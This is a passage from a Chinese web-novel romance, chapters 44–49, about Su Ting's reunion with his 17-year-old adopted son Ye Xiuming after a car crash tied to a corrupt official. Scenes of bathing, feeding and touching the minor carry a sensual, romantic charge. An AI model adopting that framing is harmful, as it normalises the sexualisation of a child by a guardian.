他把车钥匙扔给场内的工作人员,比了个“开到正门”的手势,隐晦地看了他一眼,一语双关道:“能赢吗?” “那你要回金城才知道。”裴安也把自己的钥匙甩给了工作人员,“这次你回国,预计要待多长时间?” 叶修明已脱去车服,在黑色内搭外随意套了个同色系羽绒服,声音低沉木然,“我没想过,可能要看我能赢几个回合。” “你跟你小爸其实没有实质性的矛盾,不就是误以为你存了几张照片吗,而且你不是都已经澄清了,我看……你回去跟小爸吃两顿饭就好了。” 叶修明的嘴角带着一丝散漫,说:“你又知道了。” 裴安用臂膀搂住叶修明的脖子,“走,回金城。” 叶修明让他勒得走路都歪歪扭扭,“其实,我早就订好了机票。” * 周叙白想到西郊的项目,目色带着隐忧说:“苏廷,西郊的园子动工了没有?” 苏廷摇了摇头,“还在拆除。” “你拆了五年?!”周叙白深感大事不妙,“资金链还正常吗?” 苏廷轻咳一声,“还能过得去。” “过得去是什么意思?你不会把套现的钱全用在西郊的项目上了吧。” 苏廷“嗯”了一声,“我没觉得有什么不对,要是你想劝我,趁早死了这个心。” 周叙白:“可是也不能无止尽地拆下去啊,这样会出事的。” 苏廷一脸无惧地说:“所以今晚我约了郑书记,他在金城也有话语权,也许能帮我们不少忙。” “郑力?” “嗯,”苏廷说,“找人牵了条线,今天也算你赶上了。” “可这个郑书记之前不是差点查出问题吗?找他确定是靠谱的?”周叙白虽然人在监狱几年,但不代表他一心不闻窗外事,对于外面的大事小情还是有所认知的。 苏廷:“当年没有定论,也没有证据把他锤死,虽然这几年郑书记低调做人,几乎淡出政治舞台,但瘦死的骆驼比马大,有些事是能说上话的。” “苏廷,你该不会又想……”用金钱笼络人心吧。 “不会,交个朋友而已,别一惊一乍。” 周叙白就不敢置喙了,苏廷这两年的生意有诸多不顺,多个朋友总归没错。 很快他们就先郑力一步到达这家新中式料理,苏廷看了眼配菜,突然想起周叙白回来了,自己不至于连菜单都要亲自过目,便一人走到主位坐好,“周叙白,你来。” 周叙白问了问郑力的忌口,没有点太多华而不实的菜,整体偏向内敛和家常。 他下了菜单后,突然回身,用一丝丝玩味的眼神看着苏廷。 “你的身边,现在有男人吗?” 第44章 不用想,没有叶修明在一旁帮忙的苏廷,肯定疲于应付那些示好的人们,只是这其中有没有一两个是他的慰藉,就说不准了。 没想到苏廷斩钉截铁:“没有,将来也不会有。” 周叙白刚要约他呢,就仿佛踢到了铁板,心情不算好受,问道:“温言玉呢,还像以前那样追你吗?” “嗯。” “傅西辞?” “还那样。”苏廷的脸在岁月的打磨下愈发艳美灼人,人也有无法忽视的魅力,那些人没有知难而退,不算意外。 “考不考虑为你做了五年牢的我。” 苏廷:“我可以用其他方式去谢你,只要你列单子。” 周叙白柔润的眼眸瞬间低垂了,他的心像插了几把尖刀,是撕裂般的痛,轻声说:“至少我不用担心你被其他人拐跑了。” 苏廷淡笑不语,周叙白自知没趣,默然等待郑力的到来。 大人物只身到达,连秘书都没带,行事非常低调,按照酒桌上的糟粕,苏廷让他提了三杯,之后就是一轮接一轮的敬酒。 这种应酬的酒桌,苏廷其实是极为反感的。 趁着酒力,他打开手机地图,对着郑力指了指西郊,“政府一直不批这片地的爆破,如果用现有的技术切割拆除,我的成本几乎是成倍地增加。” 郑力“欸”了一声,说:“喝酒,先喝酒。” 周叙白没有直接聊这块地的问题,而是套着近乎,说:“郑书记您有孩子吗?” “有啊,读大学。” “唉,我也有,他已经高二了,但是特别叛逆,不听话,人也经常不回家,你还真别说,作为长辈,我是真想他啊。” 郑力:“哦?他在金城哪所学校读书。” “不在金城,在芝加哥。” “你如果需要打听消息的话,我在芝加哥也有人脉,找人帮你就是了,他叫什么名字?” 周叙白故作开心:“真的吗?那太好了,郑书记还是您靠谱,犬子叫叶修明,您多费心了。” 这时,郑力的脸上现出一丝若隐若现的暴戾,“你说他叫……叶修明?是哪三个字。” “修理的修,明天的明。”周叙白说。 “他在芝加哥哪所学校?” “湖森学院。” 怪不得他这些年都没能找到叶淮安的儿子,原来躲到天边去了。 关于郑力和叶淮安的关系,这些年明着暗里都有人能推断出来,远近亲疏里,叶淮安算郑力的心腹。 叶淮安现下正在牢里服刑,如果没有掣肘,难保他不会把自己供出来。 而叶淮安平白无故消失的独子就是最好的武器。 成了别人的儿子? 看来叶淮安为了转移火力,不惜让亲儿子认别人当爹,这是要破釜沉舟的架势啊! 虽然五年过去,叶淮安的牙关依然死紧,没有供出背后的大山,但他既然知道了叶修明的下落,就一刻都不能耽误! 郑力匆忙出去给人打了个电话,回来神色如常地看着苏廷,“你西郊的项目,我会想想办法。”就当弥补损失吧。 “我还有事,就先走了。” 苏廷见他火急火燎地走后,疑惑不解,问周叙白:“你说他会帮我吗。” 周叙白觉得自己刚才的发挥堪称完美,给了苏廷一个放宽心的手势。 他拿起一盅酒,脸色氤氲着淡淡的绯红,独自碰着苏廷的杯子,说:“这是我这五年第一次喝酒,你不要想着工作,好好陪我行不行。” 苏廷莞尔:“悠着点。” 周叙白还是喝多了,踉踉跄跄地走出酒店,跟苏廷并排坐在路缘石上,他俩都是微醺的状态。初冬的夜晚已经冷得刺骨,不知不觉就把他们的酒气吹散了。 “苏廷,我们之间,是不是有过一瞬间……差点就在一起了。” 苏廷低头抻了下自己的皮手套,心不慌肠不乱地“嗯”了一声。 “那我们到底差了些什么?” 苏廷长舒一口气:“不是你的问题,周叙白,你不应该忘了我苏廷本来就是个冷漠无情的人。” 周叙白拉起他的手,“我不信。” 苏廷心想拉着就拉着吧,他虽然不能给周叙白想要的,但终归是欠了他。 时至深夜,马路上的车寥寥无几,行人也不见几个,阒静的夜里他们就这样静静牵着手,不言也不语,远远看去,多了几分缱绻。 霎时,风驰电掣的发动机声音从他们的身侧吼来,越来越近。 直至近处,周叙白才发觉那是辆限量款的黑色布加迪,顿时露出艳羡的眼神。 驾驶这辆车的人从侧影看年纪尚轻,仿佛刚刚拿到驾照,但他老练的样子却让人难以与年轻人联系在一起。 那人微微侧头,看了他们一眼后,提速离开。 几分钟前,叶修明远远看见苏廷的车停在路边,那颗早就冷冰的心颤抖不已,一脚油门就将他轰到两人面前。离近了,才看到苏廷正和周叙白手牵着手,于是即刻收回目光,再用更猛的油门让自己驶离此地。 苏廷也没有忽视这辆布加迪,待它离近时,恍惚之间好像看到了叶修明的影子。而叶修明仿佛又露出那种生理欲-望餍足的眼神,似乎这世界没有一件事值得他好好留恋。 苏廷在心中发出一声叹息,怎么可能呢?叶修明还没放假,这个时间是不可能返回国内的。 周叙白却说:“刚才那辆车好像是儿子在开。” 苏廷猛地看他,“你看清楚了吗?” 周叙白还醉着,当然没看清,他捶着脑袋,慢慢摇着头,“我喝多了苏廷,脑子不清醒,你抱我回家行不行?” 他们的位置离苏廷的家也不远,凭苏廷的身板还是回得去的。 苏廷无奈地伸出左手,搭在周叙白的腰间:“下不为例,周叙白。” 周叙白刮了下他的鼻子,“下次我只会更过分。” 苏廷直接后撤半步。 那辆神秘的布加迪此时已悄悄蛰伏在马路对面,随着苏廷他们行进的速率,龟速向前开着。 像只匍匐在丛林里随时准备出击的野兽。 苏廷用余光扫着,已经察觉出了问题,但他扪心自问,从裴星遥送监开始,他就没有拿谁当过沙包了。 那是谁会跟踪自己呢? 这时,一阵来自同纬度的冷风忽然吹上苏廷的心头,让他的指尖微微颤抖,好像有个梦魇般的名字印入脑海,该不会真是……他吧。 第45章 “苏廷,你不知道我有多喜欢你。” 不知周叙白到底有几分醉,才能如此不计后果地向苏廷诉说衷肠。 苏廷的脑子嗡嗡的,难以继续思考,只是机械地说:“过了今晚,你再胡说八道,我一定宰了你。” 狠狠咬着牙,一边偷觑那辆布加迪的动向,它正缓速地与自己齐平向前,任傻子也知道是冲着自己和周叙白来的。 这边周叙白的胡闹还在继续,他突然将自己的整个身子倚靠过来,下巴杵在苏廷的肩膀,用眷恋至极的声音说:“你能给裴星遥这个坏人机会,为什么不肯给我。” “苏廷,你天生就喜欢人渣吗?” 没有人生来就被危险吸引,生物学的本能就是趋利避害,所以周叙白只是在质疑苏廷的选择。 他倚靠的姿势越来越近,在街对面看起来,那是个缠绵悱恻的深拥,仿佛饱含着跨越时光的爱恋。 说实话,挺般配的。 叶修明不是第一次看见他口中的大爸和小爸拥抱,心里却依然五味杂陈,难以用任何一个好词来囊括。凭良心讲,周叙白是最适合苏廷的人,他可靠忠诚,又几乎与苏廷无话不谈,五年过去了,他们也都没有变。 感情……也应该比五年前更深厚才对。 苏廷,又是个魅惑而不自知的,常在他身边的周叙白就成了最大的受害者。 他应该予以理解,并送上专属于晚辈的祝福。 可他还是毫不顾及地按向喇叭,让那长音刺破夜空。 苏廷正背对着叶修明,闻声与周叙白一同转了过来,不想,布加迪又是一脚到底的油门,轰的一声后彻底消失在他们的视野范围。 苏廷木呆呆地看着那辆车疾驰而过的影子,很快它就与温良的寒夜融为一体。 叶修明几年没回来了,按理说刚回国的第一件事就应该回家,可是当苏廷到家左右都不见叶修明的身影时,肉眼可见地失望了。 他把周叙白安排在楼上的客房,自己则在楼下收拾自己,准备洗漱,及至凌晨,他默默朝客厅扫了一眼,失神之间仿佛看见了叶修明在那里做作业,他还是那样瘦小,古灵精怪地转着笔,然后在看见苏廷的瞬间,笑着说:“小爸,今天晚上咱们吃什么?” 苏廷不愿承认,但又必须承认,是自己的自高自满断送了他与叶修明本该融洽的父子关系,到今天这个地步,都是他自己的错。 叶修明曾经毫无顾忌地向自己展示裸-体,并说只有心术不正的人才会多想,自己不正是多想了吗? 算了,往事没有答案,就当没有发生过。 不然漫长焦灼的后半生,他用什么来自我说服,闹到他们这种程度,自洽的基础只有遗忘。 不出几日,西郊的产业园区能够爆破拆除的消息就传来了,当周叙白拿着批文给苏廷时,那样子甚至比当年答辩成功还要兴奋。 “苏廷,你知道这意味着什么吗?” 苏廷不解其意地盯着他。 周叙白泼了冷水:“这意味着你的资金链堪堪能保住,一季度的报表终于能看了。” 他看苏廷正着迷地看着批文,挣扎许久,问道:“我只知道这园子是你当时勒紧裤腰带买的,以为你要整个文创园区,没想到这么多年过去了,你选的是最难的那一项,能告诉我是为什么吗?” 苏廷没有说话。 周叙白:“还有什么是不能跟我说的?” “你让郑书记查叶修明,有结果了吗?”苏廷冷不防地开口。 周叙白为难道:“跨着太平洋查人,毕竟需要时间。” 苏廷冷笑:“呵呵,什么人脉。” “当年可是你把小叶子赶走的,现在做这些样子给谁看?”周叙白心里也着急,他看了叶修明这几年的明信片,上一封都是一年前他到罗马了,一年没消息,苏廷也坐得住! 苏廷摸着痉挛抽跳的眼珠,“修明没打算原谅我。” “在这件事情上,我也没办法原谅你!”周叙白负气似的看了他一眼,很快就拿着批文找人发布招标了,这次爆破对扉合的意义重大,万万不能出任何差池。 就在周叙白为扉合尽心尽力的同时,苏廷在晚饭的档口接到了一通陌生电话,那人急切地问:“请问你是不是叶修明的家属?” 苏廷首先迟疑了一瞬,随后脊梁都在震颤,“有事吗?” “快点来梅奥医院外科急诊,叶修明遇到车祸了。” 苏廷的耳朵有那么一会儿是完全听不到声音的,随后就是刺耳的嗡鸣声,他小心确认:“他今年是不是17岁。” “是啊,快来吧,是他给的您手机号码。” 苏廷套上大衣和围巾后就不停歇地来到梅奥,坐在急诊门口焦急地等待着。 有位护士看他面生:“您是叶修明的父亲?” 苏廷一愣,点了点头。 “他被推到住院大楼了,外科在三楼,快去吧。” 苏廷募地起身,肢体发沉地拖着步子,每步似乎都是煎熬。 住院大楼里人影匆匆,空气中弥漫着药物与消毒水混合的味道,苏廷用手背擦了擦额角的细汗,电梯一到,他也顾不上礼仪,顾不上先来后到,率先挤了进去。 到三楼后,值班护士给苏廷指了指叶修明的病房,他立刻又出现大脑空白的情况,这种状况持续得时间之久,以至于他以为自己就要以这种状态面对叶修明了——如果没有听见叶修明打电话的话。 “钟叔,帮我查一下,我这次车祸,是不是郑力那个蠢货搞的鬼。”叶修明因为疼痛而汗湿了后背,苏廷从一进房门,就看到了他背后发皱的黑色单衣。 苏廷静静地在门口待了很长时间,最后连自己的神智都有点模糊了,带着一丝苦楚说:“修明,你还好吗?” 叶修明像被雷电击穿一样,一动也不敢动,双方都僵持着没有回头或走近,似在延缓这场尴尬的相遇。 苏廷没有准备好面对他,是因为当年的事芥蒂太深,无论怎么解释都徒劳。 叶修明同样没做好准备,因为他不是最好的状态,还在病床上。 “修明——” “小爸——” 第46章 叶修明从过去那张清秀的脸上蜕变出一张不落凡尘的脸,却带着不动声色的侵略性,深眸里尽是军刀出鞘时的寒光凛冽。 当他凝视着苏廷时,仿佛是在锁定猎物。 苏廷理所当然地倒抽一口凉气。 不禁在心中发出惊叹,确实都变了。 苏廷的“修明”被叶修明清晰地听到,他便知道即使车祸是误打误撞,也起到了苦肉计的作用,他捂着自己被石膏定型的右上臂,说:“小爸,好疼。” 苏廷顺势喊住叶修明病房内的护士,问道:“叶修明的情况怎么样?” “右臂肱骨骨折,其余部位有软组织挫伤。”护士道,“要观察几天他大脑的情况,毕竟撞击太猛烈了。” 苏廷悬着的心下去又上来,回身问叶修明:“是不是你飙车出的事。” 叶修明:“你还知道我飙车呢。” 苏廷知道他跟裴安那个小兔崽子不务正业,每到一个地方,先去别人的FI塞道霍霍半天,所以叶修明自打拿了驾照他就知道这一不良习惯了。 可找人监视他的事情苏廷不想认领,真要一五一十地全部监视好,也不至于叶修明回国了自己都不知道。 苏廷180度掉转话题,“你在国内买了辆布加迪?” 叶修明捂住脑门,懊悔道:“现在废了。” 说完,才知道苏廷到底什么意思——那晚苏廷一定看到自己跟踪他了。 于是他错开与苏廷对视的目光,又说了遍他很疼。 “小爸,你给我揉揉,行吗?” 苏廷眯了眯眼睛,觉得有点玄幻:“我揉哪啊。” 叶修明其实浑身都散架的那种疼,可在苏廷面前却只表露了三分,如果号丧式的说自己哪哪都疼,多不帅气。 “小爸,你还想赶我走吗?” 苏廷搬了个椅子在他面前坐下,顺着叶修明头发的方向摸了摸,眼睛柔若春水,“你想待多久就待多久。” 叶修明那浅淡的、苍白的嘴唇微微一抿,说:“谢谢小爸。” “叶修明,”苏廷微蹙着眉,“你怎么还抹发胶。” 看这个发胶的量,叶修明车祸前难保不是梳的背头,可他小小年纪,还未脱干稚气,装什么大人,苏廷目色不悦:“以后就把发胶扔了,我还是喜欢你以前的样子。” “你买了两辆千万级的车,读书也是贵族学校,信托还够吗?不够给我说。”苏廷说。 “小爸,问别人身价是不礼貌的,”叶修明用其人之道还其人之身,削肩长颈向后靠了靠,“不过我有的是钱。” 苏廷用气音轻笑一声:“修明,你还怪我吗?” 叶修明反问:“你呢,怪不怪我。” 这两个问题都是无解的,很快他们就意识到了这件事。 苏廷惧怕照片背后的文字会变成现实,即刻阻断了叶修明在自己身边,但他并不清楚叶修明会不会变成他害怕的样子。 叶修明因为苏廷,在外晃荡了五年,失去了五年家的依靠,若是换作其他不那么敏感的领养人,说不定他能有完整的家庭。 所以,对错皆在一念之间,追究一念之间的对错,是毫无意义的伪命题。 他们异口同声:“我不怪你。” 却在心里同时道:“怪我自己。” 苏廷觉得叶修明的不怪他只是说说而已,怊怅道:“裴星遥承认了那些事都是他做的,我也给了他应有的惩罚,修明,我却没有在那时就原谅你。” 叶修明却只是笑吟吟地说:“小爸,真的疼,你揉揉我肚子。” 苏廷轻叹一声,果真上了手,甫一触到叶修明的肚子,就发现那处如钢板一块,却有着微弱的回弹,似乎是肌束与薄弱的脂层在同时作用的结果。 小小年纪,竟然长了腹肌。 叶修明发出满意的呻-吟,在苏廷眼中,如同幼龙吟啸。 就这样,他们通过一场意外奇异地重逢了,而叶修明的电话、无意间流露出的财大气粗,都成了苏廷心里的疑窦。 他看着几家爆破公司的招标资料,给周叙白谈起:“修明回来了,车祸住院。” 周叙白几乎弹跳起来:“你的意思是你刚刚明明可以告诉我,可你非要等啦将近两个小时才给我说?” 苏廷轻轻“嗯”了一声。 “他怎么样?你们和好了?不然哪里来的‘修明’。” 苏廷:“没有大碍,是,老妈子。” “太好了!这比手上的工作有意义多了!苏廷,这次别让小叶子走了可以吗?儿子是你的,也是我的。” 苏廷白他一眼,说:“走一步看一步。” “别告诉我你还有心理阴影,有些东西都是你臆想出来的,远远没有那么严重。”周叙白可算说了次心里话。 “我说这个,就不单单在说这个。叶修明的车祸据他怀疑,是郑力书记找人做的手脚,你还记得那天跟郑力吃饭吗,你刚给他说了修明的名字,修明过几天就出事了。”苏廷心里有些后怕:“还有修明的信托,我怀疑至少有几个小目标,到底是什么家庭会给孩子这么多信托呢?查查跟郑力有龃龉的、姓叶的富商。” 这下几乎就立刻能锁定目标了。 周叙白跃跃欲试地准备去调查,忽然问:“你知道叶修明的身世又能怎么样呢?他父母一定是有苦衷才做出当年的昏招。” 苏廷星眸微转:“我只想知道他是从哪来的。” 周叙白心头一震,觉得似乎有哪里不一样,但他很快就沉浸在即将见到叶修明的幸福里,“苏廷,小叶子在哪个医院,我想去看他。” 苏廷:“等他出院,咱们一起吃顿饭吧。” 苏廷单独去了医院,给叶修明带了些补品和营养餐,他看着叶修明的右臂,说:“洗澡很不方便吧。” 叶修明:“有护工,很方便。” “护工……是男的还是女的?” 叶修明失笑:“小爸,当然是男的了。” 苏廷的喉头便上下移动了一下,他说:“最近工作不忙,我大概能休息几天。” “还想让小爸给你洗澡吗。” 第47章 叶修明的发丝零散地覆在苍白的脸颊上,心跳声倏地一顿,沉吟半晌才说:“好啊。” 他们都是同性,不存在男女有别,这个提议没什么问题。 叶修明心想。 如果说不行,才是心里有鬼。 “小爸,那天我看见你跟周叙白抱在了一起,你现在终于想通了吗?”叶修明微笑道。 苏廷的脸上顿时有些发热,好像自己闯了多么大的乱子,眼睁睁地望着叶修明:“他刚出狱,我安慰他而已。” “那小爸,我出了这么大的车祸,你还没安慰我。”叶修明故作气力分散地瘫在空气里,伸出双臂等着苏廷的拥抱。 苏廷滞了滞,面上也不见太大波澜,依言越过叶修明的胳膊,将他的后背用手臂箍住,叶修明亮在外面的胳膊一顿,也学着苏廷箍紧他的上半身。 叶修明的头深深地埋在苏廷的颈窝内,温热的气息像羽毛一样扫着他的侧颈,苏廷轻轻拍着叶修明的后背,想到了若干年前他们在校门前相拥的场景。 只是少年长出新的骨肉,有了新的棱角和轮廓,希望他心中还一如往昔。 因为这个拥抱,叶修明的心从空落落变得沉重浓密,富有重量,就好像这些年的芥蒂根本没有发生,而他站在又一个轮回的始初,书写他与苏廷的新的故事。 他挺憧憬的。 不过首先,先让苏廷内疚吧。 叶修明感受着苏廷均匀的拍打,说:“其实车祸那天我本来是要跟裴安找个局玩一下的,后面才觉得应该先回来跟你打声招呼,没想到我就被撞了。” 苏廷的手倏地一停,将叶修明缓缓地推开,苦涩地说:“你真因为要来看我才出的事呀。” 叶修明“嗯”了一声, “所以车祸是可以避免的。”苏廷的语调冰冷静默,像冰封的河川。 叶修明:“不过谁让我想早点看到你呢。” 苏廷默默叹了口气,脸上不由得呈现愧色,很快,他也发现叶修明言语间的陷阱,正等着他上套,“你跟裴安一般都去什么局?” “我说是熬夜自习局,你信不信。” 苏廷当然不信,意味深长地看了他一眼。 “好吧,我坦白,就是跟别人聊聊天,喝喝酒——” “你还喝酒?!”苏廷的脸色骤变,“你还不到十八岁,自己不知道吗。” 叶修明:“这个就怪裴安,他每次都拉着我,一来二去的,也就喝了。” 这个裴安,简直是不良少年,竟然带坏修明。 苏廷:“你一般都喝什么酒。” “高年份的单桶威士忌。” “你还喝烈酒?!”苏廷本以为叶修明也就喝点鸡尾酒打发时间,万万没想到他喝得比自己都烈,苏廷仿佛真成了他爸,说:“以后少跟裴安混在一起,我不放心。” 叶修明咧嘴一笑:“好啊,我求之不得。” “你经常去的酒吧在哪?”苏廷说,”下回我们可以一起去。” 叶修明直接说:“Threshold对面的半影回廊,在屋顶,可以看见天际线。” 苏廷阴着脸:“那我明天就让他们开不下去,竟然敢放未成年进去!” “不过我长得也不像未成年吧,在芝加哥的酒吧我都不用假ID。”叶修明火上浇油道。 “好了,再说下去我就要到芝加哥去执法了,”苏廷轻转眼神,“修明,你觉得这次车祸是不是别人故意为之。” 叶修明一笑:“不是,是意外。” 刚才不是还说是郑力捣的鬼吗? 这其中到底有什么隐情? 为什么叶修明不能坦诚相告?自己不是他的小爸吗? 其中的隔阂真的不是因为当年的事造成的? * 叶修明的骨折还没好完全,就因为其他地方没有出现大恙而出院,当苏廷办完手续时,发现裴安身着光鲜地出现了,差点没往里再迈步子。 “修明啊修明,这下你不能陪我拉练了。”裴安翘着小脚往后一仰,活脱脱把这里当家了。 叶修明收拾着行李,不想理他这茬,并且苏廷替他回复了:“F1太危险,就算叶修明胳膊好了,也不可能陪你去。” 裴安立刻从刚才的姿势跳下来定了定,眼神里亲切大于惊恐,“苏叔叔!你俩和好了?!” 叶修明:“别胡说,我们从没闹翻过。” 裴安知道自己这是说漏嘴了,忙说:“苏叔,修明车开得比我好,还有超级驾照,不陪我实在太可惜了,我要是他早就自己参赛了。” 苏廷只是想了想战火连天的赛车现场,就感觉身心滞涩,整个人都不好了,心想断断不能把叶修明放在那么险恶的环境,于是说:“修明我另有安排,但绝不是F1.” 裴安疑惑:“为什么啊?正好跟我也有个照应啊。” 叶修明觉得裴安的话说得委实有点太多了,便道:“我还没完成学业,别说了裴安。” 裴安也没给好脸色,气鼓鼓地就走了。 苏廷继续默默给叶修明收拾东西,忽然问道:“你想吃什么?” 叶修明晃了晃自己被石膏包裹的右臂,“算了,可能不方便。” 苏廷沉默了半晌,说:“我其实可以喂你。” 一把大刀仿佛从上至下劈了叶修明,让他怔怔地定在原地。 “那小爸,我想吃你做的花胶鸡。” 苏廷笑道:“好啊,正好他们给我从老家寄了不少花胶。” 他老家靠海,黄昏时分,落日熔金,渔船回航时尤为壮观,苏廷喜欢细浪摩挲细砂的感觉,也总觉得水面的浮动之下,还有沉没的亚特兰蒂斯。 可他从未潜过水,因为如果发现神话都是骗人的,那还有什么才是真的。 回到家后,苏廷在用柠檬处理花胶的时候,忽然回身看着叶修明:“你会不会因为我限制你而不满,比如今天裴安的提议。” “裴安啊,他每隔两天就会有新的想法,我还能每个都答应他不成?再说,小爸,你有教育和管理我的义务,不用在乎我在想什么。” “所以你长大到底想干什么?”苏廷微微一笑:“我发现以前从来没有问过你。” 叶修明:“我还没想好,如果真要选一件事去做的话,那就是帮你吧。” 苏廷突生一股暖意:“你还记得。” 第48章 “嗯,熬不下去的时候我就想那时的事情,发现时间会过得快一点。”叶修明是被人遗弃过两次的人,还都是被最信任的人,要说心中没有碎片,那叫自说大话,所以想让他心中的冰雪消融,寥寥几顿饭怕是不够的。 叶修明摆出一副饭来张口的样子,冲苏廷会意一笑。 那花胶鸡看起来软糯入味,鸡汤味十足,鲜香美味,当苏廷端过来的时候,叶修明睁着无辜的眼睛,削弱了几分侵略性,“小爸,喂我。” 苏廷当即去拿了碗筷,先夹了一块花胶,紧盯着叶修明的嘴唇和他微启的唇线,叶修明大概是年纪尚小,唇线清晰利落,周围皮肤光洁无痕,不见任何褶皱,透着年轻的光泽与活力,嘴角牵动时,皮肤也平滑舒展,不见沟壑。 叶修明见苏廷愣着不动,头部微仰,用舌尖的力道将花胶勾进嘴里,然后露出心满意得的神色。 苏廷做的花胶鸡应该去拿个大奖,入口即化,深海那神秘而喧嚣的味道在味蕾间打转,久久难以忘却。 “小爸,我们礼尚往来,我也来喂你,啊——张嘴——”叶修明用左手也舀了勺花胶,准备往苏廷的嘴里送。 可是苏廷又在发呆。 他看着叶修明异常冷冽白皙、一点血色都不见的手,有着大理石般的肌肤腻理,唯有指尖露出健康的粉嫩色,就好像十个手指都点了胭脂。 很轻易地,就让这双无懈可击的手吸了眼球。 “小爸?” 苏廷意识到自己失态了,忙从刚刚的思绪中抽身出来,用嘴接下了叶修明的投食。 很快,两人都被这滑稽的吃饭方式逗乐了,苏廷在喂好叶修明后,开始慢吞吞地吃剩余的。 苏廷有件事一直想问叶修明,却直埋着头吃饭,最后,他装不不经意地问道:“你好像跟裴安很熟。”喝酒的局一起去,F1拉练一起,还有今天出院,几乎有叶修明的地方就有裴安。 叶修明:“当然,他也是我熬不下去的时候唯一的朋友。” 苏廷心下的波澜就要冲破海平面了,不得不问道:“你还恨我吗?” “小爸,我可一直都没恨过你。”叶修明看了眼暖气,“谁调的温度,怎么这么热。” 他穿着方便穿脱的黑色开衫卫衣,苏廷闻言,直接上手给他把这层脱了,叶修明:“你摸摸我后背。” 苏廷摸着濡湿的单衣,说:“怎么流了这么多汗。” 叶修明:“没事小爸,年轻人是容易出汗,我这就去洗澡,你也早点睡吧。” 苏廷拉住他的弹性绷带,说:“别白费力气了,我给你洗。” 叶修明错愕地看着苏廷跟强买强卖似的,很快就剥净他的最后一件衣服。这让苏廷想到了叶修明小时候,粲笑一声,摸着脑袋让他转过身,钻进浴缸。 他想起叶修明当时清癯的身材,几乎可以用皮包骨头来形容。而此时他宽阔的后背已经出现强健的肌肉,看起来是做过不少训练的。苏廷给他打湿着后背,水珠从虬结的肌肉落下,“你那个超级驾照不好考吧。” 叶修明用眼神让他放宽心:“很简单,只要做好体能训练就行了。” “你是特地去做的训练?” “可以这么说吧。” “所以你还是想开赛车。” “F1的速度能让人快速忘掉痛苦,但要想比赛的话就要在不同的城市辗转、训练,这样我就见不着你了,”叶修明让苏廷打好沐浴乳,等着他再抓挠一遍。 苏廷刚要有些松动,心想孩子想干什么就让他干吧,不想就听见“看不见你了”,暖意不由得涌上心头,像初春的雪,化得正是时候。 “所以我们丢下的这五年,你打算怎么弥补?”苏廷试探地看着叶修明,想看他的反应是什么,叶修明道:“你对大爸是怎么弥补的?” 苏廷立即说:“他不一样。” “哪里不一样?” 苏廷笑了笑:“再问我把你淹死在浴缸里。” 叶修明仰起头,水滴瞬间从他的喉结慢慢向下,“所以你界定是否要弥补的标准到底是什么?愧疚吗?那我有的,大爸也有。” 叶修明装作神秘地附耳轻声道:“给我拿根笔来。” 苏廷虽不知道叶修明到底想干什么,但总觉得他要说的话、要做的事都很有趣,所以就乖乖地拿了根签字笔,叶修明左手握笔,在石膏上草草地写了六个字,苏廷凑近一看,噗嗤一声笑了。 叶修明写了:“小爸你好残忍。” “别让我对大爸心怀有愧,”叶修明的额发低低地垂在耳畔,看不清真容,但苏廷却觉得这样的叶修明还算是个有良心的小东西。 叶修明款款地开口:“我还欠大爸一条命呢,只要他开口,我二话不说。” “修明!”苏廷低低地训斥,清瘦坚毅的脸上目光清明:“人总要为自己的选择付出代价,当年的事选择权在我,也在周叙白,不会有人怪你。” “小爸,我曾经让你多纵容我一点,现在我能再提个要求吗?” 苏廷拿浴巾盖住他的肩背,面色一凛,说:“什么要求?” “对大爸再多一点耐心,陌生人多一丝怜悯,敌人……多一分同情。” 苏廷如临大敌:“你还是让我当圣母。” 叶修明:“试试看,没准会有不一样的结局。” 当顾见清风尘仆仆站在扉合集团总部的时候,苏廷本来是想找人撵出去的,可想到叶修明的三段式废话,终于还是保持了几分修养。 “顾见清,你来找我做什么?” 周叙白也已在楼梯间跃跃欲试,只等苏廷发出信号。 “我们之间有误会,我想消除这些误会。” 顾见清还是那么地清润疏朗,言谈举止间有着不属于他年龄的成熟,他旷达爽朗地笑了笑,直中要害:“那些照片不是我散布的。” 顾见清与苏廷情到浓时拍了许多色-情视频,单拎出任一一个都让人血脉喷张,那些视频就在顾见清的电脑中保存,如果不是他散布的,那还有谁? “是陆沉,他当时追求而我不得,还给我下了催眠的药,伪装成我跟他睡过一晚的样子,第二天那些照片就让他发了出去。包括那条朋友圈,也是因为他答应我,只要同意认他这个男友,他自有办法消除照片的影响。” 顾见清英俊的脸上现出愁容:“可是我从没停止过爱你。” 第49章 藏匿在楼梯间的周叙白终于忍不住了,他横亘在苏廷与顾见清之间,道:“那利用苏廷的名义贷款、卷款出逃呢?你别告诉我那也是小男朋友捣的鬼。” 顾见清的心中仿佛生出不可名状的痛苦,让他的脊背僵硬,他遥遥地看着苏廷:“我什么人品你还不知道吗?陆沉知道我们合伙开公司,就想把手伸到扉合,我怎么说他都不听,还威胁我他还可以发视频。苏廷,我怎么可能忍受我们之间的视频被流传出去呢,如果你是我的话,你会怎么做?” 苏廷将信将疑地说:“你这次来打算做什么。” “不做什么,就好好看看你,看看我们精干的苏总。”顾见清俊朗依然,温柔的眼眸里看不清任何不好的东西,苏廷还记得和顾见清分别的午后,顾见清理着行李箱,不发一言地收拾东西,苏廷以为他要出差,还嘱咐了两句话,可顾见清决绝地推门走了,用不知道掺着几分真心的语气说:“对不起。” 十年,像一个世纪那么久。 周叙白今天像是只长了倒刺的刺猬,左右气都不顺,毫不留情地拆穿他:“你现在就是看扉合步入正轨、上市了,想拿回你的原始股,顾见清我告诉你,当初扉合那点家底都让你带走了,那叫buyout!” 顾见清:“别激动周兄,我顾某还没这么龌龊,一而再地抢我们苏廷的东西。” 苏廷面无表情:“你真就是来叙旧的。” 顾见清:“嗯,解释清楚后,我就回英国了,那里不比国内,饭菜跟猪食似的,更比不上你的厨艺。” 苏廷笑了笑:“自从有了儿子之后,我的厨艺也见长,说不定能单独开一次外烩了。” 顾见清连连称奇:“你都有儿子了,是养子吗?” 苏廷脸色转暗:“施方逸应该都告诉你了。” 顾见清像被戳穿,不好意思地挠头,“我这是怕跟你冷场,没话说。施方逸给我说了他很后悔,不该出言不逊,想来他这类人还是不懂咱们的世界。” 周叙白皱着眉头:“你把话说清楚一点,什么叫‘咱们的世界’。” 顾见清“哦”了一声,“就是同性恋,周兄你不懂的。” 周叙白差点用眼把顾见清烧掉。 在这其中的间隙,苏廷和周叙白互换了眼神,周叙白就迅速出门谢客了,顾见清是个危险因子,在摸清底细的前提下,谁都别想带他进扉合。 